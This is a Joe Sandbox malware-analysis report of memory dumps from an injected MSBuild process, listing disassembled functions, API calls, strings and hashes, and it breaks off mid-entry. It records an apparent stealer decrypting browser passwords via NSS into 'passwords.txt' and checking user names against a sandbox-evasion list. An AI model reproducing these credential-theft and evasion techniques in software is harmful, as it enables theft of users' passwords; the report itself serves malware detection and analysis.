Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$Process$Free$Allocstrcpy_s$lstrlen$strchr$Xinvalid_argumentstd::_
String ID:
API String ID: 838878465-0
Opcode ID: 944c7dbbb483e652ea0c5082bda78fe99dba96f91c80018fac581aa229666c1c
Instruction ID: 55d57addeb693bec13dd2aca0e3f8bc9cd2252af75e58958267656c534a8cbc3
Opcode Fuzzy Hash: 944c7dbbb483e652ea0c5082bda78fe99dba96f91c80018fac581aa229666c1c
Instruction Fuzzy Hash: 36E14C72C00219ABEF249FF1DC48ADEBF79BF08305F1454AAF115B3152EA3A59849F54

Function 6CC055F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6CBDE1A5), ref: 6CC05606
LoadLibraryW.KERNEL32(gdi32,?,6CBDE1A5), ref: 6CC0560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CC05633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CC0563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CC0566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CC0567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CC05696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CC056B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CC056CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CC056E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CC056FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CC05716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CC0572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CC05748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CC05761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CC0577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CC05793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CC057A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CC057BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CC057D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CC057EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CC057FF

Strings

EnableNonClientDpiScaling, xrefs: 6CC05666
RegisterClassW, xrefs: 6CC056AC
GetWindowDC, xrefs: 6CC05710
StretchDIBits, xrefs: 6CC057CC
GetMonitorInfoW, xrefs: 6CC057A2
ShowWindow, xrefs: 6CC056DE
ReleaseDC, xrefs: 6CC05742
GetDpiForWindow, xrefs: 6CC05690
DeleteObject, xrefs: 6CC057F9
CreateSolidBrush, xrefs: 6CC057E4
GetSystemMetricsForDpi, xrefs: 6CC05677
SetWindowPos, xrefs: 6CC056F7
CreateWindowExW, xrefs: 6CC056C5
FillRect, xrefs: 6CC05729
GetThreadDpiAwarenessContext, xrefs: 6CC0562D
MonitorFromWindow, xrefs: 6CC0578D
gdi32, xrefs: 6CC0560A
AreDpiAwarenessContextsEqual, xrefs: 6CC05637
LoadCursorW, xrefs: 6CC05774
LoadIconW, xrefs: 6CC0575B
SetWindowLongPtrW, xrefs: 6CC057B7
user32, xrefs: 6CC05601

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 2e858ed0cb19a6c88fc4d85eb776d27c1ea792f4855c042651d14168c26b0f04
Instruction ID: b4c39825b2c46a5eb2506b2a6203396686f4c8ab49016a230c511a1b5addc2e2
Opcode Fuzzy Hash: 2e858ed0cb19a6c88fc4d85eb776d27c1ea792f4855c042651d14168c26b0f04
Instruction Fuzzy Hash: 9C513E71721717AFEB019F398D6892A3AFCBF066457144539AD12E2A46FB7DCC008F68

Function 6CBECC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CBB582D), ref: 6CBECC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CBB582D), ref: 6CBECC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CC1FE98,?,?,?,?,?,6CBB582D), ref: 6CBECC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CBB582D), ref: 6CBECC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CBB582D), ref: 6CBECC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CBB582D), ref: 6CBECC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CBB582D), ref: 6CBECCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CBECCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CBECCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CBECCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CBECCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CBECD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CBECD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CBECD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CBECDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CBECDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CBECDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CBECDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CBECE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CBECE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CBECE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CBECE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CBECE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CBECE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CBECE8A

Strings

audiocallbacktracing, xrefs: 6CBECDD4
default, xrefs: 6CBECC21
samplingallthreads, xrefs: 6CBECE2C
stackwalk, xrefs: 6CBECCF8
mainthreadio, xrefs: 6CBECC7C
markersallthreads, xrefs: 6CBECE42
seqstyle, xrefs: 6CBECCE6
leaf, xrefs: 6CBECC66
java, xrefs: 6CBECC37
jsallocations, xrefs: 6CBECD0E
fileioall, xrefs: 6CBECCA8
fileio, xrefs: 6CBECC92
Unrecognized feature "%s"., xrefs: 6CBECEA0
screenshots, xrefs: 6CBECCD4
noiostacks, xrefs: 6CBECCBE
nativeallocations, xrefs: 6CBECDA8
notimerresolutionchange, xrefs: 6CBECE00
ipcmessages, xrefs: 6CBECDBE
power, xrefs: 6CBECE84
nostacksampling, xrefs: 6CBECD7C
preferencereads, xrefs: 6CBECD92
unregisteredthreads, xrefs: 6CBECE58
processcpu, xrefs: 6CBECE6E
cpuallthreads, xrefs: 6CBECE16

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: e95cc422a58745303b6f87cf8ef0ebdb4e9258063e43b8f28dd07d6c83e2946b
Instruction ID: daf2ef92e48c95d6a65e6a834b33633291a0e963b98194d664df10ca484297a1
Opcode Fuzzy Hash: e95cc422a58745303b6f87cf8ef0ebdb4e9258063e43b8f28dd07d6c83e2946b
Instruction Fuzzy Hash: 6D51C9E19092F562FE0434162C20BEA1C44EF5B6CAF50D036FD19A1F80FF0AE61995B7

Function 0040A916 Relevance: 63.2, APIs: 34, Strings: 2, Instructions: 211stringmemoryfileCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A922

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,004373A4,0043680F), ref: 0040A9C1
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A9D9
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A9E1
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A9ED
??_U@YAPAXI@Z.MSVCRT(00000001,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A9F7
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA09
GetProcessHeap.KERNEL32(00000000,000F423F,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA15
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA1C
StrStrA.SHLWAPI(0040B824,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA2D
StrStrA.SHLWAPI(-00000010,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA47
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA5A
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA64
lstrcatA.KERNEL32(00000000,004373A8,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA70
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA7A
lstrcatA.KERNEL32(00000000,004373AC,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA86
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA93
lstrcatA.KERNEL32(00000000,-00000010,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA9B
lstrcatA.KERNEL32(00000000,004373B0,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AAA7
StrStrA.SHLWAPI(-000000FE,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AAB7
StrStrA.SHLWAPI(00000014,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AAC7
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AADA

Part of subcall function 0040A7D8: _memset.LIBCMT ref: 0040A815
Part of subcall function 0040A7D8: lstrlenA.KERNEL32(?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A830
Part of subcall function 0040A7D8: CryptStringToBinaryA.CRYPT32(?,00000000,?,00000001,?,?,00000000), ref: 0040A838
Part of subcall function 0040A7D8: PK11_GetInternalKeySlot.NSS3(?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A846
Part of subcall function 0040A7D8: PK11_Authenticate.NSS3(00000000,00000001,00000000,?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A85A
Part of subcall function 0040A7D8: PK11SDR_Decrypt.NSS3(?,?,00000000,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A89A
Part of subcall function 0040A7D8: _memmove.LIBCMT ref: 0040A8BB
Part of subcall function 0040A7D8: PK11_FreeSlot.NSS3(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A8EC

lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AAE9
lstrcatA.KERNEL32(00000000,004373B4,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AAF5
StrStrA.SHLWAPI(-000000FE,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB05
StrStrA.SHLWAPI(00000014,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB15
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB28

Part of subcall function 0040A7D8: lstrcatA.KERNEL32(00436803,00436807,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A8E5
Part of subcall function 0040A7D8: lstrcatA.KERNEL32(00436803,0043680E,?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A8FB

lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB37
lstrcatA.KERNEL32(00000000,004373B8,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB43
lstrcatA.KERNEL32(00000000,004373BC,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB4F
StrStrA.SHLWAPI(-000000FE,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB5F
lstrlenA.KERNEL32(00000000), ref: 0040AB7D
CloseHandle.KERNEL32(?), ref: 0040ABAC
NSS_Shutdown.NSS3(?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040ABB2

Strings

passwords.txt, xrefs: 0040AB89
pe, xrefs: 0040A931

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$File$lstrcpy$K11_lstrlen$HeapPointerSlot$AllocAuthenticateBinaryCloseCreateCryptDecryptFreeHandleInitInternalProcessReadShutdownSizeString_memmove_memset
String ID: passwords.txt$pe
API String ID: 2725232238-1761351166
Opcode ID: 724b19f77cfbadd78dc1faf4d27645deae132dfd84264f190695712cfec16b52
Instruction ID: f290e10536fc29165bd90020ec0e89fb1ec55b4f39b8cd3f3e59d108c05ab857
Opcode Fuzzy Hash: 724b19f77cfbadd78dc1faf4d27645deae132dfd84264f190695712cfec16b52
Instruction Fuzzy Hash: 4A71A331500215ABCF15EFA1ED4DD9E3BBAEF4830AF101015F901A31A1EB7A5A55CBA6

Function 6CBB4470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBB4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CBB44B2,6CC2E21C,6CC2F7F8), ref: 6CBB473E
Part of subcall function 6CBB4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CBB474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CBB44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CBB44D2
InitOnceExecuteOnce.KERNEL32(6CC2F80C,6CBAF240,?,?), ref: 6CBB451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CBB455C
LoadLibraryW.KERNEL32(?), ref: 6CBB4592
InitializeCriticalSection.KERNEL32(6CC2F770), ref: 6CBB45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CBB45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CBB45BB
InitOnceExecuteOnce.KERNEL32(6CC2F818,6CBAF240,?,?), ref: 6CBB4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CBB4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CBB4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CBB466D
VerSetConditionMask.NTDLL ref: 6CBB469F
VerSetConditionMask.NTDLL ref: 6CBB46AB
VerSetConditionMask.NTDLL ref: 6CBB46B2
VerSetConditionMask.NTDLL ref: 6CBB46B9
VerSetConditionMask.NTDLL ref: 6CBB46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CBB46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CBB46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CBB46FD

Strings

WRusr.dll, xrefs: 6CBB44B5
kernel32.dll, xrefs: 6CBB44CD
NativeNtBlockSet_Write, xrefs: 6CBB46F7
user32.dll, xrefs: 6CBB4557, 6CBB463F
l, xrefs: 6CBB4578

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: 8589d25616915301129744004fffbacb8c121b3d3cbba91c4d5c8838a6b01aef
Instruction ID: f9f3ce96a10d4da3f704075be4d077fdc08b97d641185bfd77c1c608a8251e1e
Opcode Fuzzy Hash: 8589d25616915301129744004fffbacb8c121b3d3cbba91c4d5c8838a6b01aef
Instruction Fuzzy Hash: 95614BB0A10398AFEB108F65CC09BB9BBB8FF47708F04855CE545AB641EBB89945CF51

Function 00424C37 Relevance: 42.1, APIs: 19, Strings: 5, Instructions: 109libraryloadermemoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL), ref: 00424C3F
__mtterm.LIBCMT ref: 00424C4B

Part of subcall function 0042490A: DecodePointer.KERNEL32(FFFFFFFF), ref: 0042491B
Part of subcall function 0042490A: TlsFree.KERNEL32(FFFFFFFF), ref: 00424935

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00424C61
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00424C6E
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00424C7B
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00424C88
TlsAlloc.KERNEL32 ref: 00424CD8
TlsSetValue.KERNEL32(00000000), ref: 00424CF3
__init_pointers.LIBCMT ref: 00424CFD
EncodePointer.KERNEL32 ref: 00424D0E
EncodePointer.KERNEL32 ref: 00424D1B
EncodePointer.KERNEL32 ref: 00424D28
EncodePointer.KERNEL32 ref: 00424D35
DecodePointer.KERNEL32(Function_00024A8E), ref: 00424D56
__calloc_crt.LIBCMT ref: 00424D6B
DecodePointer.KERNEL32(00000000), ref: 00424D85
__initptd.LIBCMT ref: 00424D90
GetCurrentThreadId.KERNEL32 ref: 00424D97

Strings

FlsSetValue, xrefs: 00424C70
KERNEL32.DLL, xrefs: 00424C3A
FlsFree, xrefs: 00424C7D
FlsGetValue, xrefs: 00424C63
FlsAlloc, xrefs: 00424C5B

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Pointer$AddressEncodeProc$Decode$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__initptd__mtterm
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 3732613303-3819984048
Opcode ID: c4b24359c7556117875d4a9d0ed065821010c0f35d81486e563c5d9150432d9a
Instruction ID: 94530a44bd353d5e48263630fbc58cc49e13d953e031ca61b59d9614a8241a7b
Opcode Fuzzy Hash: c4b24359c7556117875d4a9d0ed065821010c0f35d81486e563c5d9150432d9a
Instruction Fuzzy Hash: CC316B31E013649ACB22AF7ABC0860A3BA4EF84762B51063BE410D32B1DFB8C440DF4D

Function 00401927 Relevance: 36.8, APIs: 2, Strings: 19, Instructions: 56stringCOMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?,?), ref: 00401A13
lstrcmpiA.KERNEL32(0043AC84,?), ref: 00401A2E

Strings

CurrentUser, xrefs: 0040194B
Emily, xrefs: 0040195F
Johnson, xrefs: 00401987
milozs, xrefs: 0040199B
Miller, xrefs: 00401991
user, xrefs: 004019B9
John Doe, xrefs: 004019F5
virus, xrefs: 004019EB
Hong Lee, xrefs: 00401973
sandbox, xrefs: 004019C3
Sand box, xrefs: 00401955
WDAGUtilityAccount, xrefs: 004019FF
Peter Wilson, xrefs: 004019A5
malware, xrefs: 004019CD
timmy, xrefs: 004019AF
test user, xrefs: 004019E1
IT-ADMIN, xrefs: 0040197D
maltest, xrefs: 004019D7
HAPUBWS, xrefs: 00401969

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: NameUserlstrcmpi
String ID: CurrentUser$Emily$HAPUBWS$Hong Lee$IT-ADMIN$John Doe$Johnson$Miller$Peter Wilson$Sand box$WDAGUtilityAccount$maltest$malware$milozs$sandbox$test user$timmy$user$virus
API String ID: 542268695-1784693376
Opcode ID: da99fce13d188c8d449195af6028c632b9155eeec286f17b5d3ae48a6bd12366
Instruction ID: d1bae68e67e499abaef637c9412b49fd07aa939d7eda53f7808c85b94d013073
Opcode Fuzzy Hash: da99fce13d188c8d449195af6028c632b9155eeec286f17b5d3ae48a6bd12366
Instruction Fuzzy Hash: FD2103B194126C8BCB60CF15DD486DDB7B4BB59309F00B1DAD489AA250C7B84FD9CF49

Function 6CBEF6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CBB4A68), ref: 6CBE945E
